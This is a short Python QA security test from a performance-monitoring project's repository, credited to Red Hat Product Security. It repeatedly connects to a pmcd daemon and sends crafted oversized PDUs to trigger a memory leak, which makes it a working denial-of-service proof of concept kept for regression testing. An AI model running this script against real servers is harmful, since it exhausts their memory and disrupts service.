summaryrefslogtreecommitdiff
path: root/qa/secure/leak-getpdu
blob: c7ab4175747a31ff604e259a99d375116ef915a9 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#
# usage: python leak-getpdu HOST
#
# Connects to pmcd on HOST and sends crafted PDUs which triggers a memory leak.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
import pcppdu
_, host, count = sys.argv
iterations = int(count)
for i in range(iterations):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, 44321))
    pcppdu.client_handshake(sock, from_=1)
    pcppdu.send_pdu(sock, -1, 1, str("X") * 65000)
    sock.close()